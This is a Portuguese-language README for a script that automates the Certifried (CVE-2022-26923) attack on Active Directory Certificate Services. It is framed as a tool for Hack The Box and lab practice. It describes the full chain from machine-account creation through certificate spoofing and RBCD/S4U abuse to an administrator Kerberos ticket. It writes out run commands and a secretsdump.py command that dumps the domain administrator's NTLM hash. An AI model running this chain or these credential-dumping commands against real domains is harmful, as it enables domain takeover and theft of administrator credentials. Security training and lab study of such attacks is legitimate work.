CVE-2022-26923 – Certifried Exploit (Abuso de AD CS)

Automação da exploração da CVE-2022-26923 (Certifried) permitindo elevação de privilégios via abuso do Active Directory Certificate Services (AD CS) e Resource-Based Constrained Delegation (RBCD), levando ao dump do hash NTLM de uma conta de administrador de domínio.

⚠️ Uso pedagógico apenas / Lab / HTB

Não usar em ambiente não autorizado.

🎯 Descrição

Este script automatiza a cadeia de ataque a seguir:

1. Criação de uma conta de máquina controlada
2. Modificação do dNSHostName
3. Solicitação de um certificado via AD CS
4. Autenticação por certificado
5. Abuso RBCD
6. S4U2Self + S4U2Proxy
7. Obtenção de um ticket Kerberos para administrator
8. Dump NTLM via secretsdump.py

🔗 Vulnerabilidade

• CVE-2022-26923 – "Certifried"
• Afeta ambientes Active Directory que usam AD CS
• Permite a suplantação de identidade de um Controlador de Domínio via certificado mal emitido

🛠 Ferramentas utilizadas

• certipy-ad
• bloodyAD
• getST.py (Impacket)
• secretsdump.py (Impacket)
• openssl

📦 Instalação das dependências

pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl

🚀 Utilização

chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [opções]

Opções disponíveis

-d, --dc-ip          IP do Controlador de Domínio
-D, --domain         Nome do domínio
-u, --user           Usuário válido
-p, --pass           Senha do usuário
-c, --comp-name      Nome da máquina controlada
-C, --comp-pass      Senha da máquina
-a, --ca-name        Nome da Autoridade Certificadora
-t, --template       Template do certificado
-f, --pfx-file       Nome do arquivo PFX
-H, --dc-hostname    Hostname do DC
-A, --dc-account     Conta do DC
-i, --impersonate    Conta alvo a impersonar
--verbose            Modo debug
-h, --help           Ajuda

🧠 Exemplo (HTB Certified)

./CVE-2022-26923.sh \
-d 10.129.1.39 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose

🔥 Resultado esperado

Ao final da execução:

• Um ticket Kerberos administrator.ccache
• O dump NTLM da conta administrator

Em caso de problema com Kerberos:

KRB5CCNAME=/tmp/administrator.ccache secretsdump.py \
-just-dc-ntlm -just-dc-user administrator \
certifried.htb/[email protected] \
-k -no-pass -dc-ip 10.129.1.39

🧬 Funcionamento interno

Machine Account Creation
        ↓
dNSHostName spoofing
        ↓
Certificate Request (Machine Template)
        ↓
Authentication via PFX
        ↓
RBCD abuse (bloodyAD)
        ↓
S4U2Self + S4U2Proxy
        ↓
Kerberos Ticket extraction
        ↓
NTLM dump via secretsdump

⚠️ Aviso Legal

Este projeto é fornecido para fins:

• educacionais
• de pesquisa em segurança
• de laboratório pessoal
• de CTF / HTB

O autor se isenta de qualquer responsabilidade em caso de uso não autorizado.

📜 Licença

MIT